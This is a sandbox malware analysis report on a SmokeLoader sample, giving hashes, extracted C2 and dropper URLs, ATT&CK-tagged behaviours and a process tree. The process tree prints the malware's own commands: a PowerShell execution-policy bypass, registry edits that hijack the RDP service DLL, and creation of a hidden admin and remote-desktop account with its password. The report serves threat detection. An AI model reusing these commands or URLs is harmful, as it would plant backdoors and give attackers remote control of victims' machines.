smokeloader | 991e3c5fb9946ed0490a723a541bda0f36a9b94fff8a68f6729c15e1044dd954

Analysis

max time kernel
152s
max time network
154s
platform
windows10_x64
resource
win10-en-20211014
submitted
18-10-2021 13:00

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General

Target

2b858c79a8a7a652f8cb60059eb7a95a.exe
Size

343KB
MD5

2b858c79a8a7a652f8cb60059eb7a95a
SHA1

e669008a553976d275388ee02e49d5c938a6c27b
SHA256

991e3c5fb9946ed0490a723a541bda0f36a9b94fff8a68f6729c15e1044dd954
SHA512

c893d061191282d82bb421ef587b5c0dd973a31aec371d1bba6aba83a5a48444bc1660b9aa80d0f8f1f3beceb86825de2b249a0ffb64c905588f11c4a0bae8c9

Score

10^/10

smokeloader backdoor persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
68	3252	powershell.exe
70	3252	powershell.exe
71	3252	powershell.exe
72	3252	powershell.exe
74	3252	powershell.exe
76	3252	powershell.exe
78	3252	powershell.exe
80	3252	powershell.exe
82	3252	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
3960	8D29.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000001abac-356.dat	upx
behavioral2/files/0x000600000001abad-357.dat	upx

Deletes itself 1 IoCs

pid	Process
3024	Process not Found

Loads dropped DLL 2 IoCs

pid	Process
2484	Process not Found
2484	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_2wm1mumu.vz2.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI23C.tmp	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_0xaqaplq.rah.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI1BC.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI21B.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI22C.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI24D.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2b858c79a8a7a652f8cb60059eb7a95a.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2b858c79a8a7a652f8cb60059eb7a95a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2b858c79a8a7a652f8cb60059eb7a95a.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 0a705db740c1d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2212	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	74	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	70	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	71	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	72	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2424	2b858c79a8a7a652f8cb60059eb7a95a.exe
2424	2b858c79a8a7a652f8cb60059eb7a95a.exe
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3024	Process not Found

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
624	Process not Found
624	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2424	2b858c79a8a7a652f8cb60059eb7a95a.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeIncreaseQuotaPrivilege	1404	powershell.exe
Token: SeSecurityPrivilege	1404	powershell.exe
Token: SeTakeOwnershipPrivilege	1404	powershell.exe
Token: SeLoadDriverPrivilege	1404	powershell.exe
Token: SeSystemProfilePrivilege	1404	powershell.exe
Token: SeSystemtimePrivilege	1404	powershell.exe
Token: SeProfSingleProcessPrivilege	1404	powershell.exe
Token: SeIncBasePriorityPrivilege	1404	powershell.exe
Token: SeCreatePagefilePrivilege	1404	powershell.exe
Token: SeBackupPrivilege	1404	powershell.exe
Token: SeRestorePrivilege	1404	powershell.exe
Token: SeShutdownPrivilege	1404	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeSystemEnvironmentPrivilege	1404	powershell.exe
Token: SeRemoteShutdownPrivilege	1404	powershell.exe
Token: SeUndockPrivilege	1404	powershell.exe
Token: SeManageVolumePrivilege	1404	powershell.exe
Token: 33	1404	powershell.exe
Token: 34	1404	powershell.exe
Token: 35	1404	powershell.exe
Token: 36	1404	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeIncreaseQuotaPrivilege	3152	powershell.exe
Token: SeSecurityPrivilege	3152	powershell.exe
Token: SeTakeOwnershipPrivilege	3152	powershell.exe
Token: SeLoadDriverPrivilege	3152	powershell.exe
Token: SeSystemProfilePrivilege	3152	powershell.exe
Token: SeSystemtimePrivilege	3152	powershell.exe
Token: SeProfSingleProcessPrivilege	3152	powershell.exe
Token: SeIncBasePriorityPrivilege	3152	powershell.exe
Token: SeCreatePagefilePrivilege	3152	powershell.exe
Token: SeBackupPrivilege	3152	powershell.exe
Token: SeRestorePrivilege	3152	powershell.exe
Token: SeShutdownPrivilege	3152	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeSystemEnvironmentPrivilege	3152	powershell.exe
Token: SeRemoteShutdownPrivilege	3152	powershell.exe
Token: SeUndockPrivilege	3152	powershell.exe
Token: SeManageVolumePrivilege	3152	powershell.exe
Token: 33	3152	powershell.exe
Token: 34	3152	powershell.exe
Token: 35	3152	powershell.exe
Token: 36	3152	powershell.exe
Token: SeDebugPrivilege	908	powershell.exe
Token: SeIncreaseQuotaPrivilege	908	powershell.exe
Token: SeSecurityPrivilege	908	powershell.exe
Token: SeTakeOwnershipPrivilege	908	powershell.exe
Token: SeLoadDriverPrivilege	908	powershell.exe
Token: SeSystemProfilePrivilege	908	powershell.exe
Token: SeSystemtimePrivilege	908	powershell.exe
Token: SeProfSingleProcessPrivilege	908	powershell.exe
Token: SeIncBasePriorityPrivilege	908	powershell.exe
Token: SeCreatePagefilePrivilege	908	powershell.exe
Token: SeBackupPrivilege	908	powershell.exe
Token: SeRestorePrivilege	908	powershell.exe
Token: SeShutdownPrivilege	908	powershell.exe
Token: SeDebugPrivilege	908	powershell.exe
Token: SeSystemEnvironmentPrivilege	908	powershell.exe
Token: SeRemoteShutdownPrivilege	908	powershell.exe
Token: SeUndockPrivilege	908	powershell.exe
Token: SeManageVolumePrivilege	908	powershell.exe
Token: 33	908	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3024	Process not Found
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Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
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Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 3960	3024	Process not Found	70
PID 3024 wrote to memory of 3960	3024	Process not Found	70
PID 3960 wrote to memory of 4060	3960	8D29.exe	72
PID 3960 wrote to memory of 4060	3960	8D29.exe	72
PID 4060 wrote to memory of 3972	4060	powershell.exe	74
PID 4060 wrote to memory of 3972	4060	powershell.exe	74
PID 3972 wrote to memory of 828	3972	csc.exe	75
PID 3972 wrote to memory of 828	3972	csc.exe	75
PID 4060 wrote to memory of 1404	4060	powershell.exe	76
PID 4060 wrote to memory of 1404	4060	powershell.exe	76
PID 4060 wrote to memory of 3152	4060	powershell.exe	79
PID 4060 wrote to memory of 3152	4060	powershell.exe	79
PID 4060 wrote to memory of 908	4060	powershell.exe	81
PID 4060 wrote to memory of 908	4060	powershell.exe	81
PID 4060 wrote to memory of 3376	4060	powershell.exe	85
PID 4060 wrote to memory of 3376	4060	powershell.exe	85
PID 4060 wrote to memory of 2212	4060	powershell.exe	86
PID 4060 wrote to memory of 2212	4060	powershell.exe	86
PID 4060 wrote to memory of 3292	4060	powershell.exe	87
PID 4060 wrote to memory of 3292	4060	powershell.exe	87
PID 4060 wrote to memory of 3212	4060	powershell.exe	88
PID 4060 wrote to memory of 3212	4060	powershell.exe	88
PID 3212 wrote to memory of 2588	3212	net.exe	89
PID 3212 wrote to memory of 2588	3212	net.exe	89
PID 4060 wrote to memory of 3896	4060	powershell.exe	90
PID 4060 wrote to memory of 3896	4060	powershell.exe	90
PID 3896 wrote to memory of 3836	3896	cmd.exe	91
PID 3896 wrote to memory of 3836	3896	cmd.exe	91
PID 3836 wrote to memory of 1328	3836	cmd.exe	92
PID 3836 wrote to memory of 1328	3836	cmd.exe	92
PID 1328 wrote to memory of 2652	1328	net.exe	93
PID 1328 wrote to memory of 2652	1328	net.exe	93
PID 4060 wrote to memory of 2184	4060	powershell.exe	94
PID 4060 wrote to memory of 2184	4060	powershell.exe	94
PID 2184 wrote to memory of 1548	2184	cmd.exe	95
PID 2184 wrote to memory of 1548	2184	cmd.exe	95
PID 1548 wrote to memory of 3628	1548	cmd.exe	96
PID 1548 wrote to memory of 3628	1548	cmd.exe	96
PID 3628 wrote to memory of 3584	3628	net.exe	97
PID 3628 wrote to memory of 3584	3628	net.exe	97
PID 2696 wrote to memory of 716	2696	cmd.exe	101
PID 2696 wrote to memory of 716	2696	cmd.exe	101
PID 716 wrote to memory of 2468	716	net.exe	102
PID 716 wrote to memory of 2468	716	net.exe	102
PID 1820 wrote to memory of 1412	1820	cmd.exe	105
PID 1820 wrote to memory of 1412	1820	cmd.exe	105
PID 1412 wrote to memory of 1272	1412	net.exe	106
PID 1412 wrote to memory of 1272	1412	net.exe	106
PID 1404 wrote to memory of 3264	1404	cmd.exe	109
PID 1404 wrote to memory of 3264	1404	cmd.exe	109
PID 3264 wrote to memory of 1092	3264	net.exe	110
PID 3264 wrote to memory of 1092	3264	net.exe	110
PID 3888 wrote to memory of 1900	3888	cmd.exe	113
PID 3888 wrote to memory of 1900	3888	cmd.exe	113
PID 1900 wrote to memory of 2072	1900	net.exe	114
PID 1900 wrote to memory of 2072	1900	net.exe	114
PID 2868 wrote to memory of 3904	2868	cmd.exe	117
PID 2868 wrote to memory of 3904	2868	cmd.exe	117
PID 3904 wrote to memory of 1452	3904	net.exe	118
PID 3904 wrote to memory of 1452	3904	net.exe	118
PID 2976 wrote to memory of 1464	2976	cmd.exe	121
PID 2976 wrote to memory of 1464	2976	cmd.exe	121
PID 1464 wrote to memory of 2100	1464	net.exe	122
PID 1464 wrote to memory of 2100	1464	net.exe	122

C:\Users\Admin\AppData\Local\Temp\2b858c79a8a7a652f8cb60059eb7a95a.exe
"C:\Users\Admin\AppData\Local\Temp\2b858c79a8a7a652f8cb60059eb7a95a.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2424

C:\Users\Admin\AppData\Local\Temp\8D29.exe
C:\Users\Admin\AppData\Local\Temp\8D29.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vey4tttg\vey4tttg.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3972
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESABBD.tmp" "c:\Users\Admin\AppData\Local\Temp\vey4tttg\CSC4E7922EF827F41AF9021BEF8D71C1C74.TMP"
      4⤵
      PID:828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:908
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3376
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2212
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3292
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3212
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2588
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3896
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3836
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1328
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2652
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2184
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1548
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3628
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3584
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:748
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1368

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:716
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2468

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 7R4k4ROY /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 7R4k4ROY /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 7R4k4ROY /add
    3⤵
    PID:1272

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1404
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3264
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1092

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3888
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
